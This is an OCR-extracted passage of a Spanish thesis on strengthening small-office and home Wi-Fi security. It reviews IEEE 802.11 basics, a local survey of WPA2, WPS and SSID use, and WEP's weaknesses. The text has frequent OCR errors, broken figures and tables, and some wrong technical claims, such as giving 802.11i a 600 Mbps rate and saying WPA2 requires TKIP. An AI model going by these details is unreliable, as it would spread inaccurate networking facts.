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Resumen

Las redes inaldmbricas de area local han tenido una gran popularidad en los Gltimos afios al
ofrecer conectividad sin la necesidad de un medio de transmision fisico guiado, haciendo que la
mayoria de los usuarios puedan utilizar diferentes dispositivos para conectarse a internet de una
manera mas facil; sin embargo, esta conectividad inalambrica sacrifica la seguridad de la red,

comprometiéndola en diferentes ataques maliciosos.

Para cubrir esta falta de seguridad en una WLAN (Wireless Local Area Network) se
desarrollaron diferentes protocolos. WEP fue el primer protocolo de seguridad, sin embargo, es
el protocolo mas vulnerable para este tipo de redes, WEP planté las bases para elaborar
protocolos més robustos, por lo que fue reemplazado en el 2003 por WPA y en 2004 WPA
evolucion6 en WPAZ2. A pesar de que WPAZ2 es el protocolo mas robusto hasta ahora, presenta
vulnerabilidades de seguridad, es susceptible a ataques pasivos y a ataques de denegacion de

servicios.

El presente trabajo esta enfocado a identificar las vulnerabilidades presentes al acceder a una
WLAN de modo infraestructura, de entorno de pequefia oficina o de oficina en casa (SOHO,
Small Office / Home Office) y mitigarlas mediante la implementacion de hardening, es decir,

un conjunto de actividades que permiten robustecer la seguridad.

Se presentan los resultados que demuestran que se logré robustecer una WLAN de entorno
SOHO con los puntos de hardening propuestos; sin embargo, cabe mencionar que una red
inalambrica ya sea de entorno SOHO o empresarial no estara del todo protegida, dado que la

tecnologia avanza continuamente dando paso a nuevos e ingeniosos ataques.
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Introduccion

Hoy en dia las redes inalambricas han sido adoptadas por gran parte de la sociedad ya que con
ellas se puede enviar, recibir o compartir informacion. Esto se realiza de una manera sencilla 'y
répida por medio de diferentes dispositivos como lo son smartphones, laptops, tablets, entre
otros, los cuales vienen equipados con una tarjeta de red inalambrica (WNIC - Wireless Network
Interface Card) para conectarse a una red inalambrica de area local (WLAN - Wireless Local
Area Network) o zona WIFI. Por otro lado, las redes inalambricas estan jugando un papel
importante en la tecnologia de internet de las cosas (loT-Internet of Things), ya que distintos
objetos fisicos se conectan diariamente a este tipo de redes, por ello, se preve que para el afio

2020 la mayoria de los dispositivos se conectaran a las redes inalambricas [1].

En un futuro esto conllevara a una problematica mayor, dado que las WLAN son muy
vulnerables. Por ejemplo, en el 2015 Fortinet realiz6 un estudio en el que se les llamé a las redes
inalambricas el punto més vulnerable de las tecnologias de la informacion (TI), donde el 49 %
de los encargados de TI de todo el mundo aseguraron y clasificaron a este tipo de redes como el

elemento més vulnerable de esta infraestructura [2].

En el mes de mayo de 2017, Fortinet realizé una nueva investigacion donde mas de 1,300
gerentes de ciberseguridad de 11 paises respondieron la encuesta sobre los riesgos de la
seguridad de las redes inalambricas, asi como el alto nivel de exposicion que representan las
WLAN, en el cual un 45 % de los encuestados declard que la filtracién de informacion sensible,

tanto de clientes como de la empresa, es la preocupacion nidmero uno [3].

El saber que estos problemas estan presentes en un entorno empresarial nos lleva a pensar que
en un entorno de pequefia oficina o de oficina en casa (SOHO, Small Office / Home Office) las
medidas de seguridad son minimas, ya sea por falta de informacion o por el simple hecho de

mantener una configuracion sencilla en la WLAN lo que involucra un mayor riesgo.

Este riesgo podria llegar a reducirse con la implementacién de los diferentes protocolos de
seguridad, sin embargo, estos siguen presentando vulnerabilidades a tal grado que en octubre de
2017 el protocolo WPAZ2 fue quebrantado totalmente por el investigador Mathy Vanhoef [4,5],
protocolo en el cual se habia confiado la seguridad de las WLAN por 14 afios, sin importar el

entorno en que se encuentren (SOHO o empresarial).
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Por otro lado, en un entorno empresarial el tema de seguridad inalambrica cada vez estad méas
presente, preocupandose por proteger la informacion de su core business que se transmite en la
WLAN, diferenciandose con un entorno SOHO, ya que los usuarios que utilizan estas redes
COmo un servicio para enviar y recibir informacion, tienen una preocupacion nula de las medidas
de seguridad de la WLAN.

Por dicho motivo en la presente tesis se propone proteger a los dispositivos que se estan
conectando a las WLAN de entorno SOHO. Una prioridad que se busca en el tema de seguridad
inalambrica es aumentar la seguridad de acceso a las WLAN, por ello es importante revisar los
mecanismos de autenticacion que involucran especificamente las WLAN de entorno SOHO,

con el fin de robustecer su seguridad a partir de una identificacion de vulnerabilidades.

En este sentido, en junio de 2017 se realiz6 un sondeo en la colonia Doctores de la Ciudad de
México, para saber qué tipo de seguridad cominmente se implementa en una WLAN de entorno
SOHO y a partir de ello determinar qué actividades hardening son convenientes de implementar.

Dicho sondeo, indico que se detectaron aproximadamente trescientas redes inaldmbricas. En la
figura | se muestra un gréfico que se realizo6 a partir de los datos obtenidos del sondeo, asi mismo
puede apreciarse que la autenticacion enterprise es practicamente nula, ya que la autenticacion

que predomina es la autenticacion de clave compartida.

0.30% WPA2 24 libre

i
ENTERPRISE 0.60% WEP

36.60% VIPA2 T
de clave compartida

de dave compartida

Figura I. Estadistica de uso de los protocolos de seguridad en una WLAN en la colonia Doctores de la ciudad de México

(diagrama propio)
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Asi mismo pudo notarse que el estandar WPS (WI-FI Protected Setup) se encuentra activo en

la mayoria de las WLAN siendo este un blanco facil para los atacantes, debido a que es

vulnerable a ataques de fuerza bruta®. Para ejemplificar esto se tomd una pequefia muestra de

todas las redes detectadas en el sondeo. En la figura Il puede apreciarse que la mayoria de los

usuarios tienen esta configuracion.
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Protegida c«
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INFINITUM =25

Protegida co
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AXTEL

Protegida c«

Figura Il. Algunas redes con WPS activo de acuerdo al sondeo en la colonia Doctores (diagrama propio).
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Por otro lado, también se observé que en la mayoria de las WLAN existe la emision del SSID

(Service Set Identifier). En la figura Il se ejemplifica dicha emision y puede notarse que

regularmente el nombre de la red no es cambiado, es decir, conserva el nombre asignado por

default? del proveedor de servicios de Internet (ISP).
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Protegida con WPA2 (
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Protegida con WPA/W
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INFINITUMB75D
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Totalplay-EC09
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HNMERR7N

Figura Ill. Difusion de SSID de algunas redes detectadas por un dispositivo maévil en la colonia Doctores (diagrama propio).

1 Se le llama ataque de fuerza bruta a la actividad de hacer coincidir el password con todas las combinaciones
posibles de cadenas de texto, hasta encontrar el password que permita el acceso a la red.

2 La palabra default hace referencia a hacer algo por defecto o dejar de forma predeterminada.
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Debido a la importancia que tiene la seguridad de las WLAN, la presente tesis estd enfocada a
identificar las vulnerabilidades que existen en los protocolos de seguridad que se usan para
acceder a dichas redes, especificamente en el momento de realizarse la autenticacion. Una vez
identificadas estas vulnerabilidades se pretende robustecer la seguridad de una WLAN con la
implementacion de hardening, que consiste en un conjunto de actividades en el que se
incorporan diferentes capas de seguridad mismas que seran descritas en el capitulo | de dicha

tesis.
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Planteamiento del problema

De acuerdo con la literatura, las redes inalambricas son el punto mas vulnerable en las
Tecnologias de la Informacion (TI), por ello un atacante facilmente podria obtener de manera
ilicita las contrasefias WI-FI por lo que la informacion de los usuarios podria estar expuesta a
diversos ataques como: robo de datos, robo de identidad, espionaje, colocacién de malware entre

otros.

Por ello, se pretende identificar las vulnerabilidades en una WLAN para subsanarlas con

hardening.

Objetivos
e Obijetivo general

*

% Robustecer la seguridad de una WLAN en un entorno SOHO mediante la técnica de

hardening para subsanar las vulnerabilidades mas comunes.
e Obijetivos especificos
+«»+ Identificar las vulnerabilidades mas comunes en redes inalambricas en zonas WIFI.

“ Implementar un escenario de prueba para la identificacion de vulnerabilidades en
una WLAN determinada.

¢ Implementar hardening con el fin de hacer mas robusta la seguridad en las WLAN.

Justificacion

Las redes inalambricas son una tecnologia importante para la comunicacion, sin embargo, son
vulnerables a diferentes ataques informaticos comprometiendo la disponibilidad, la integridad
y la confidencialidad de estas redes, por tal motivo es importante robustecer el acceso a la
WLAN. Para ello, es necesario identificar las vulnerabilidades de una WLAN para hacer las

recomendaciones apropiadas.
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Limitaciones

La identificacion de vulnerabilidades se llevara a cabo en un escenario de pruebas, en un entorno
controlado de manera responsable, con los permisos previamente solicitados a las personas
correspondientes, ya que entrar a una red inalambrica privada es un delito de acuerdo al articulo

286 de la ley organica de Espafia de ciberdelitos.

Viabilidad
El trabajo es viable ya que para su implementacion se requiere de:

a) Un equipo de computo para la identificacion de vulnerabilidades en una WLAN, dicha
actividad puede realizarse mediante la distribucion Kali Linux, un sistema operativo de
licencia libre que no implica costos. Este sistema operativo, puede instalarse en una
maquina virtual en un equipo de computo con el que ya se cuente.

b) Una tarjeta de desarrollo Raspberry Pl para la implementacion de un servidor de
autenticacion de licencia libre cuyo costo no excede los $ 1500 MN.

c) Un mddem que tenga la capacidad de soportar una autenticacion enterprise para la

implementacién de las actividades de hardening, elemento con el que ya se cuenta.
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CAPITULO |

“Si crees que la tecnologia puede solventar tus problemas de sequridad, entonces no
entiendes los problemas y no entiendes de tecnologia.”

-«

Bruce Schneier






Capitulo 1 Marco teérico

1. Antecedentes de redes inalambricas

Una red inalambrica es aquella que permite el acceso a diferentes recursos como por ejemplo
datos de manera inaldmbrica. Para ello, se realiza una conexién entre dos 0 mas nodos que
pueden ser dispositivos moviles, para intercambiar informacion mediante la propagacion de

ondas de radio en un area determinada [6,7].

Las redes inaldmbricas surgieron como un complemento a las redes cableadas siendo éstas una
nueva alternativa en la transferencia de informacion que no depende de un medio fisico guiado

como lo es el cable, lo que permitié dar mayor movilidad al usuario sin perder conectividad [8].

El origen de las redes inalambricas se remonta al afio de 1979, con una publicacién sobre los
resultados de un experimento hecho por ingenieros de IBM en Suiza, en la que se reporta el uso
de ondas del espectro infrarrojo para crear una red, lo que se consideré como el punto de partida
en la evolucion de las redes inalambricas. Posteriormente para el funcionamiento adecuado de
esta tecnologia fue necesaria la creacion de diversos estandares, siendo éstos los que se

describen en la siguiente seccion.

1.1 Estandares de redes inalambricas

Los estandares son desarrollados por organismos reconocidos internacionalmente. Estos son
acuerdos documentados que contienen especificaciones técnicas u otros criterios precisos, para
ser usados consistentemente como reglas, guias o definiciones de caracteristicas para asegurar
que los materiales, productos, procesos y servicios cumplan con su propésito. Uno de estos
organismos es el Instituto de Ingenieros Eléctricos y Electronicos (IEEE - Institute of Electrical
and Electronics Engineers) encargado de establecer diferentes estandares para las redes
inalambricas. En 1991 se propuso el estandar 802.11 por parte de la IEEE, sin embargo, este

estandar se establecio hasta junio de 1997 [9,10].

En figura 1.1 puede apreciarse que las redes inalambricas son clasificadas de acuerdo con su

cobertura, asi mismo son regidas por diferentes estandares para su buen funcionamiento.
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Figura 1.1 Clasificacion de redes inalambricas de acuerdo al radio de cobertura (diagrama propio).

Debido a que este trabajo estd enfocado solamente al estudio de las WLAN, cuyo principal
estandar es el IEEE 802.11, a continuacion, se describe este estandar y sus diferentes versiones:

a, b, g, n, i, ad, ac se abordaran en la seccion 1.1.1.4 [11].

1.1.1 Estandar IEEE 802.11

El estandar IEEE 802.11 define nueve servicios que deben ser proporcionados por una red
inalambrica con la finalidad de ofrecer una funcionalidad equivalente a una LAN, estos servicios
son los siguientes: asociacion, autenticacion, fin de la autenticacion, disociacién, distribucion,
integracion, entrega de MSDU (Unidad de datos del servicio MAC), privacidad y reasociacion
[12].

Por otra parte, en la tabla 1 se describe la terminologia que se emplea en el estandar IEEE 802.11

En la figura 1.2 se aprecia la topologia del modelo elemental para una WLAN propuesto por el
estandar 802.11 asi como la forma en que interactGan entre si cada uno de los componentes en
un conjunto extendido de servicios, cabe mencionar que a lo largo del trabajo se definiran méas

conceptos.
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AP (Access Point-Punto de

acceso)

Cualquier entidad que tenga la funcionalidad de una estacion.
Proporciona acceso al sistema de distribucion a través del

medio inaldmbrico a las estaciones asociadas

BSS (Basic Service Set-

Conjunto de Servicios

Basicos)

Conjunto de estaciones controladas por una sola funcién de

coordinacién

Funcién de coordinacion

Es aquella funcion logica que determina cuando una estacion
que estd funcionando dentro de un BSS tiene permiso para

transmitir y puede recibir un PDU (Protocol Data Unit)

DS (Distribution System-
Sistema de Distribucion)

Es el sistema usado para interconectar un conjunto de BSS y
LAN integradas para crear un ESS

ESS (Extended Service
Set-Conjunto de Servicios
Extendido )

Conjunto de uno o0 mas BSS interconectados y LAN integradas
que aparece como un Unico BSS en la capa LLC (Logica Link

Control) de cualquier estacion asociada con uno BSS

MPDU (MAC Protocol
Data Unit-Unidad de
Datos del Protocolo MAC)

Unidad de datos intercambiada entre entidades MAC paritarias

usando los servicios de la capa fisica

MSDU (MAC Service
Data Unit-Unidad de
Datos del Servicio MAC)

Es aquella informacion la cual es entregada como una unidad

entre usuarios MAC

Estacion

Cualquier dispositivo que contenga una capa fisica y MAC
compatibles con IEEE 802.11

Tabla 1. Términos IEEE 802.11con base en [12].
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Figura 1.2. Topologia IEEE 802.11 (diagrama propio con base en [13]).

1.1.1.1. Modos de operacion de una WLAN.

Las redes inaldmbricas cuentan con dos modos de operacion fundamentales los cuales estan
definidos por el conjunto de estdndares IEEE 802.11, estos son: trabajo en modo infraestructura

y en modo ad hoc.

La forma de operacion en modo infraestructura en una red inaldmbrica sucede cuando todas las
estaciones acceden a la red a través de uno o varios puntos de acceso, la definicion de un punto
de acceso se encuentra en la tabla 1. La configuracion formada por el punto de acceso y las
estaciones ubicadas dentro del area de cobertura es a lo que se le denomina BSS; es posible

vincular varios puntos de acceso con el fin de formar un ESS, como se ilustra en la figura 1.3.

sistema de distribucion

........... Acce=lPoint

Estacion

ESS

Figura 1.3. Operacién en modo infraestructura (diagrama propio).
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El modo de operacion ad hoc o mejor conocido como punto a punto es el método en el que las
estaciones se comunican entre si directamente sin involucrar un servidor central (punto de
acceso central). Estas redes son establecidas de manera temporal y normalmente son

conformadas por un grupo pequefio de dispositivos cercanos unos de otros.

El modo ad-hoc se denota como un conjunto de servicios basicos independientes (IBSS

Independent Basic Service Set). Este modo de operacion se muestra en la figura 1.4.

Figura 1.4. Operacion en modo Ad-hoc (diagrama propio).

Cabe mencionar que en la presente tesis la identificacion de vulnerabilidades exclusivamente
considera a las redes inalambricas de area local que cuentan con el modo de operacion en modo

infraestructura, todo esto sefialado por el estandar 802.11.

Por otra parte, el estdndar IEEE 802.11 define el uso de los primeros dos niveles de la
arquitectura TCP/IP, capa fisica y capa de enlace de datos. La capa fisica especifica las normas
de funcionamiento de una WLAN e incluye seis técnicas de transmision por modulacién, dos

velocidades de transmision teoricas de 1y 2 Mbps y la banda de frecuencias en que opera.

La capa MAC garantiza el éxito de la transferencia, define el protocolo de acceso mdltiple por
deteccidon de portadora y la prevencion de colisiones (CSMA/CA - Carrier Sense Multiple

Access/Collition Avoidance) como método de acceso al medio [13,14].

1.1.1.2. Control de acceso al medio

IEEE 802.11 considera a los protocolos de acceso distribuido y de acceso centralizado como
algoritmos de MAC. En el protocolo de acceso distribuido la transmision se distribuye sobre
todos los nodos usando un mecanismo de deteccion de portadora y en el caso de los protocolos
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de acceso centralizado, implican una regulacion de transmisién por una autoridad central de

decisiones.

El algoritmo MAC denominado DFWMAC (Distributed Foundation Wireless MAC)
proporciona un mecanismo de control de acceso distribuido sobre un control centralizado
opcional. Asi mismo la arquitectura MAC de este estandar tiene una subcapa de funcion de
coordinacion distribuida (DCF, Distributed Coordination Function) y la subcapa de funcion de
coordinacion puntual (PCF, Point Coordination Function). En los siguientes parrafos se aborda
de manera general, tanto la funcion de coordinacion distribuida como la funcion de coordinacién

puntual.

1.1.1.2.1 Funcién de coordinacion distribuida
La subcapa DCF usa el algoritmo de acceso multiple con deteccion de portadora (CSMA,

Carrier Sense Multiple Access). Una estacion escucha el medio cuando dispone de una trama
para transmitir y si el medio esta libre entonces la estacion podra transmitir, en caso contrario
la estacion debe esperar antes de transmitir, hasta que se complete la transmision en curso para
que exista un funcionamiento adecuado de este algoritmo. En la figura 1.5 se ejemplifica dicho
proceso.

> Esperar una B
trama a transmitir

¢ Medio libre?

J]Si

Esperar IFS

|

¢ Continua No
libre?

J/ . Esperar que finalice
Si la transmicién actual
-~ J
Esperar IFS

¢ Continta No
libre?
¢ Si

Espera exponencial
binaria mientras el
medio este libre

No

Figura 1.5. Ldgica de control de acceso al medio IEEE 802.11 de la funcién de coordinacidn puntual, con base en [12].
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La DCF incluye un conjunto de retardos que son ordenados de acuerdo a un esquema de

prioridades, basado en el uso de tres valores IFS (Interframe Space).

1.- SIFS (Short IFS): es el IFS més pequefio y se utiliza para todas las acciones de respuesta

inmediatas.

2.- PIFS (Point Coordination Function IFS): se trata de un IFS de tamafio medio, utilizado por

el contador central en el esquema PCF cuando se emite un sondeo.

3.- DIFS (Distributed Coordination Function IFS): constituye el IFS mas grande y se usa como
un retardo minimo para las tramas asincronas que compiten por el acceso al medio. En la figura

1.6 se ilustran los IFS.

El periodo de contencion es tiempo de espera aleatorio que una estacion debe esperar antes de

transmitir si el canal se encuentra ocupado.

intervalo libre de contencion

SIFS SIF3 SIF3 SIFS SIFS

D2 + ACK
+ Poll

Periodo lc_le
contencion

PIFS

01,02 = Tramas enviadas por el AP

U1,U2 = Tramas enviadas por las estaciones consultadas

Poll = Consulta a las estaciones

B = (Beacon frame) trama que anuncia la red (g.g difusion de SSID)
ACK = Acuse de recibido de |a trama

Figura 1.6. Conjunto de retardos IFS con base en [12].

1.1.1.2.2 Funcion de coordinacion puntual

PCF es un método de acceso implementado sobre DCF, el cual consiste en consultar a las
estaciones del BSS si tienen tramas para transmitir. La consulta es realizada por un coordinador
puntual, el coordinador puntual hace uso de un PIFS cuando emite una consulta, como un PIFS
es mas pequefio que un DIFS, el coordinador puntual puede aduefiarse del medio y bloquear el

trafico asincrono.
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Por ejemplo, si una red inalambrica cuenta con una serie de estaciones con trafico sensible a los
retardos, el intercambio de tramas se controla por medio del coordinador puntual, por otra parte,
el resto del trafico compite por el acceso al medio usando CSMA. El coordinador puntual podria
emitir consultas a todas las estaciones configuradas para realizar el sondeo mediante un esquema
de turno rotatorio, donde primero se emite un sondeo Yy la estacion consultada debe responder
con un SIFS, si el coordinador puntual recibe una respuesta se emite un nuevo sondeo usando
un PIFS, si durante el tiempo correspondiente en turno no se recibe ninguna respuesta, entonces

el coordinador emite una nueva consulta.

1.1.1.3. Capa fisica

La capa fisica del estandar 802.11 ha sufrido diferentes extensiones, modificaciones y mejoras,

cabe mencionar que esta capa se definid con tres técnicas de transmision:

e Espectro expandido de secuencia directa (DS-SS)
e Espectro expandido con salto en frecuencias (FH-SS)

e Infrarrojos

Estas técnicas de transmision trabajan a velocidades de 1 y 2 Mbps, los primeros funcionan en
la banda ISM (Industry Scientific and Medical) de los 2.4 GHz a diferencia de los infrarrojos ya

que estos funcionan con longitudes de onda de 850 nm y 950 nm [12].

1.1.1.4 Versiones del estandar 802.11

A partir del estandar IEEE 802.11 se desarrollaron diferentes versiones para la operacion de una
WLAN. En la figura 1.7 se muestra el estdndar IEEE 802.11, asi como sus diferentes versiones,
el estandar 802.11i es el de mayor interés para la realizacion de la tesis ya que es el Unico
estandar que fue desarrollado para la seguridad en este caso de una WLAN. En los siguientes

parrafos se describen brevemente cada una de estas versiones.
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Figura 1.7. Estdndar 802.11 y sus versiones imagen propia en base (diagrama propio).
La version a de este estandar fue aprobada en 1999, definié una nueva capa fisica que opera
hasta los 54 Mbps, trabaja en la banda de frecuencia de 5 GHz, lo que le da una ventaja ya que

se presentan menos interferencias en dicha banda [11].

La version b de este estandar fue aprobada en el mismo afio en el que se aprobo la version a,
tiene una velocidad méaxima de transmisién de 11 Mbps, utiliza CSMAJ/CA, y trabaja en la banda
de frecuencia de 2.4 GHz. En la préctica la velocidad méxima de transmision es de
aproximadamente 5.9 Mbps sobre TCP y 7.1 Mbps sobre UDP [14].

En 2003 aparecié la version g como una mejora de las versiones ya existentes ya que la funcion
de este estandar es incrementar la tasa de transmision (54 Mbps) casi 5 veces mas con respecto
a la version b. Cabe mencionar que estos 54 Mbps son una velocidad tedrica puesto que el
estandar 802.11 utiliza el modo de transmision half-duplex, lo que significa que transmite y
recibe en ambas direcciones, por lo que estos 54 Mbps se reparten entre la recepcion y
transmision de datos. Entonces los 54 Mbps se refieren a la velocidad del canal, puesto que en
la practica su rendimiento tan s6lo es de 27 Mbps ya que influyen otros factores como lo son la
distancia y los obstaculos, los cuales provocan atenuaciones que afectan la velocidad de

transmision.

La version g trabaja en la banda de frecuencia de 2.4 GHz, esta version a diferencia de la version

a, es compatible con la version b del estandar 802.11 [15].
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La version n hace uso de las bandas de 2.4 y 5 GHz [13], fue aprobado en el afio 2009, permite
comunicaciones de datos inalambricas de hasta 600 Mbps, utiliza tecnologia MIMO (Multiple
Input-Multiple Output) lo que permite utilizar varios canales a la vez para enviar y recibir datos.

La version i mejor conocida como WPA2 (WI-FI Protected Access 2), se establecio en junio de
2004, esta enfocada a la seguridad en redes WLAN. Esta version mejoro considerablemente con
respecto a las primeras normas de seguridad de las redes inalambricas, ya que proporciona
cifrado mejorado para redes que utilizan los estdndares 802.11a y 802.11b. Este estandar
introduce varios cambios fundamentales, como la separacion de la autenticacion de usuario de
la integridad y privacidad de los mensajes, lo que proporciona una arquitectura robusta y

escalable.

Esta version llega a los 600 Mbps, fue definida especificamente para mejorar la seguridad y
corregir de esta manera al protocolo WEP (Wired Equivalent Privacy) con el protocolo WPA
(Wi-Fi Protected Access), lo que mejora a su vez la integridad de la informacidn. Por otro lado,
actualiza la CRC (Comprobacion de Redundancia Ciclica — Cyclic Redundancy Checksum) del
mensaje. WPA implementa un codigo de integridad MIC (Message Integrity Code),
posteriormente se implementa WPAZ2 el cual requiere un nuevo protocolo de clave de cifrado,
conocido como TKIP (Temporal Key Integrity Protocol) y utiliza algoritmos de cifrado AES
(Advanced Encryptation Standard) lo que ofrece un nivel de seguridad suficiente para satisfacer
a la mayoria de los usuarios, mas adelante se hablara a detalle de los protocolos mencionados

anteriormente.

La version ad fue propuesta en 2013, ofrece comunicaciones inalambricas en la banda de 2.4
GHz, 5 GHz y 60 GHz para lograr velocidades de alrededor de 7 Gbps es compatible con las
versiones b/g/n/ac, sin embargo, no ha sido aprobado.

IEEE 802.11ac (también conocido como Wi-Fi 5G o Wi-Fi Giga bit) aparece como una mejora
al estandar IEEE 802.11n, se empez0 a desarrollar entre el afio 2011 y el 2013, y finalmente fue
aprobado en enero de 2014. Este estandar tiene una velocidad maxima de 1.3 Gbps y opera en
la banda de frecuencia de 2.4 GHz y 5.5 GHz, ademas de ser compatible con IEEE 802.11b/g/n.

En latabla 1.1 se enlistan los principales estandares y sus respectivos mecanismos de seguridad,

los cuales se profundizaran mas adelante.
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Estandar Ano de Frecuencia

802.11  Aprobacién

80211  Jun.1997  24GHz WEP (RC4)
a Sep.1999 5 GHz WEP (RC4)
b Sep. 1999 2.4 GHz WEP (RC4)
g Jun. 2003 2.4 GHz WEP (RC4)
i Jun. 2004 WPA, WPA2 (RC4 y AES)
n Oct. 2009  2.4/5 GHz WPA, WPA2 (RC4 y AES)
ac Enero 2014 = 2.4/5.5 GHz WPA, WPA2 (RC4 y AES)
ad Sin aprobar = 2.4/5/60GHz

Tabla 1.1. Comparativa de seguridad de los estdndares IEEE 802.11.

Donde RC4 (Ron’s Code 4) es el algoritmo de encriptacion tanto para el protocolo WEP como
para el protocolo WPA, AES (Advanced Encryptation Standard) es el algoritmo de encriptacién

para el protocolo WPA2.

1.2 Ventajasy desventajas de las redes inalambricas de area local

(WLAN)

Una WLAN también pude presentar ventajas y desventajas, a continuacion, se mencionan

algunas ventajas y desventajas de dichas redes [7,16]:
VENTAJAS

e Facilidad de instalacidn: aunque involucra la configuracién de protocolos su instalacion
es sencilla ya que solo se requiere de un dispositivo con una tarjeta inalambrica.

e Proporciona mayor movilidad: elimina el tendido de cables en paredes y/o techos lo que
le da una mayor movilidad al no depender de este medio fisico.

e Flexibilidad: una red inalambrica le permite a la red ir a donde la red convencional no
puede ir, ya que le permiten al usuario estar conectado mientras se desplaza con algin
dispositivo portatil.

e Velocidad simétrica: ya que WI-FI es bidireccional puede recibir y enviar datos a la

misma velocidad.
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DESVENTAJAS
e Alcance limitado: el alcance de las redes inalambricas WLAN es limitado ya que las
areas que puede cubrir WI-FI en edificios es de 75 a 120 metros y en &reas abiertas el
alcance puede llegar hasta 300 metros.
e Velocidad: las redes inalambricas no pueden superar la velocidad de las redes
alambradas.
¢ Interferencia: debido al rango de frecuencia en el que estas redes inalambricas trabajan
(2.4/5 GHz) son propensas a interferencias de sefiales muy comunes como por ejemplo
los teléfonos inalambricos.
e Seguridad: sin duda alguna esta es una de sus desventajas mas importantes, la conexion
a las WLAN hoy en dia es muy popular ya que se puede acceder a éstas en cualquier
parte como por ejemplo restaurantes hoteles o en zonas WI-FI por lo que es probable
que un usuario se conecte a una red no segura, exponiéndose de esta forma a ataques
como lo son: robo de archivos personales, contrasefias de acceso a bancos, redes sociales
y demas.
Este trabajo estd enfocado a identificar las vulnerabilidades que pueden existir en las WLAN,
por lo que a continuacion se revisan los protocolos de seguridad que estan presentes en una
WLAN.

1.3 Evolucion de protocolos de seguridad en una WLAN

La evolucion de los protocolos de seguridad en una WLAN obedece a incrementar cada vez mas
la seguridad en este tipo de redes. En todo sistema de red (LAN o WLAN) existe un modelo de
seguridad de la informacién mejor conocido como la triada CIA la cual esta compuesta por las
tres propiedades de la informacion estas son: la integridad, la confidencialidad y la
disponibilidad. La integridad se refiere a la capacidad para determinar si la informacion
transmitida ha sido alterada por usuarios no autorizados; la confidencialidad asegura que la
informacidn no es divulgada a personas no autorizadas, procesos o dispositivos; mientras que la
disponibilidad asegura que los usuarios autorizados pueden acceder a la informacién cuando la
necesitan. En este contexto las WLAN son un blanco facil y vulnerable a ataques mal

intencionados, estos ataques explotan las debilidades o vulnerabilidades presentes regularmente

32



en el software del AP, al modificarlo silenciosamente y sin autorizacion, por lo que se
compromete la integridad de un recurso.

Por otro lado, la confidencialidad se compromete cuando un intruso accede de manera ilicita a
informacidn no pablica [17], también puede verse afectada la disponibilidad cuando un atacante
provoca la caida de un AP.

Se ha hablado de vulnerabilidad, pero ¢qué es la vulnerabilidad? a continuacion, se da una breve
definicion de ésta:

La vulnerabilidad se refiere a una debilidad la cual se podria desencadenar de manera accidental

o0 explotarse intencionalmente lo que podria causar una brecha de seguridad [18].

De acuerdo con la definicidn, la confidencialidad, integridad y disponibilidad son los tres
aspectos mas importantes de la seguridad ya que si se carece de alguno de estos tres existe una
vulnerabilidad de seguridad.

La seguridad inalambrica es considerada méas complicada de implementar que la seguridad que
se implementa en las redes alambradas debido al medio de transmision. El estandar IEEE 802.11
definié dos mecanismos basicos de seguridad con el fin de asegurar el acceso a la red, estos son:
autenticacion de identidad y encriptacion.

La autenticacién es el proceso en el que se hace una comparacion de las credenciales
proporcionadas por el usuario con las credenciales que ya existen dentro de una base de datos.
El cifrado o encriptacion es el proceso de ocultar los datos a todas aquellas personas no
autorizadas que lleguen a interceptarlos para que no sean capaces de entenderlos. La
encriptacion también asegura al mismo tiempo que los datos sean devueltos a su forma original,
por lo tanto, es un proceso bidireccional. Por otra parte, el hecho de tomar datos cifrados y

devolverlos a datos legibles es a lo que se le conoce como descifrado.

El primer protocolo de seguridad para el estandar IEEE 802.11 fue WEP (Wired Equivalent
Privacy), el cual implementa tanto la autenticacion de identidad y encriptacion. En el caso de la
autenticacion, este protocolo permite dos formas: autenticacion de sistema abierto y
autenticacion de clave compartida, no obstante, éste resultd ser muy vulnerable por lo que en el
estandar IEEE 802.11i se introducen cambios fundamentales, ademas de proporcionar una

arquitectura robusta [19]. A continuacion, el protocolo WEP se explica a detalle.
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1.3.1 Protocolo WEP

WEP se aprobo6 en 1999 y fue el primer protocolo de encriptacion del estandar IEEE 802.11.
WEP se cred con el fin de satisfacer el control de acceso, privacidad, autenticacion e integridad.
WEP se fundamenta en el algoritmo de encriptacion RC4 (Ron’s Code 4) con una clave secreta
de 40 o 104 bits, asi mismo soporta dos mecanismos de autenticacion los cuales son muy
basicos, entre ellos se encuentran: autenticacion de clave compartida, (mejor conocido como

shared-key) y autenticacion abierta.

1.3.1.1 Autenticacion WEP

En la autenticacion de clave compartida, la clave WEP es utilizada para verificar si el usuario
puede o no tener acceso a la red inalambrica, tanto el AP como el cliente realizan el proceso de

saludo de cuatro vias (handshake de cuatro vias). El proceso es el siguiente:

1. L estacion envia una solicitud de autenticacion al AP por el cliente.

2. El AP envia al cliente un nimero pseudo aleatorio, este nimero es denominado
tipicamente como el valor “nonce”.
El cliente encripta el valor nonce utilizando la clave WEP y lo envia de nuevo al AP.

4. El AP encripta el mismo valor con la clave WEP comparandolo con lo que el cliente
envio. En caso de que los valores coincidan, el cliente tiene la clave WEP correcta por
lo tanto el AP reconoce el intento de autenticacion.

En la figura 1.8 se representa esquematicamente este proceso.

COO0C0

Estacién
peticion de asociacion inicial

numero pseudoaleatorio (nonce)

valor nonce con clave WEP

I|

reconoce intento de autenticacion

Figura 1.8. Autenticacion de clave compartida WEP (diagrama propio).
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En la autenticacion abierta, el cliente envia una solicitud de autenticacion al AP y éste devuelve
el mensaje de que la estacion esta autenticada, lo que significa que el AP permite la conexion

inalambrica sin ningln proceso de autenticacion previo.

Cabe mencionar que la autenticacion de clave compartida no es nada segura dado que, un
atacante puede obtener tanto el valor del nonce, como la respuesta encriptada al capturar los

paquetes emitidos por la red, por lo que la obtencion de la clave es muy sencilla.

1.3.1.2 Encriptacion WEP

Existen dos sistemas principales para la encriptacion de datos siendo estos:

» Encriptacion de clave compartida: utiliza la misma clave para cifrar y para descifrar los
datos, esto quiere decir que la misma clave de cifrado que se introduce en el AP es la
misma que se utiliza para los clientes de la red.

» Encriptacion de llave publica: las claves de cifrado y descifrado de los datos son

diferentes.

El cifrado de WEP se lleva a cabo mediante el algoritmo RC4 el cual es utilizado para generar
el keystream o secuencia de clave, este algoritmo es simétrico lo que significa que con la misma
clave gue cifra se puede descifrar, la creacion del keystream dispone de dos fases llamadas KSA
(Key Scheduling Algorithm) y PRGA (Pseudo Random Generation Algorithm). En la figura 1.9
se aprecian estos algoritmos, donde KSA genera un vector inicial de 256 elementos y un vector
T con las mismas caracteristicas del vector S, con estos dos vectores se genera un vector S final,

en el cual se auxilia PRGA para generar el Keystream.
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Figura 1.9. Algoritmo RC4 (diagrama propio).

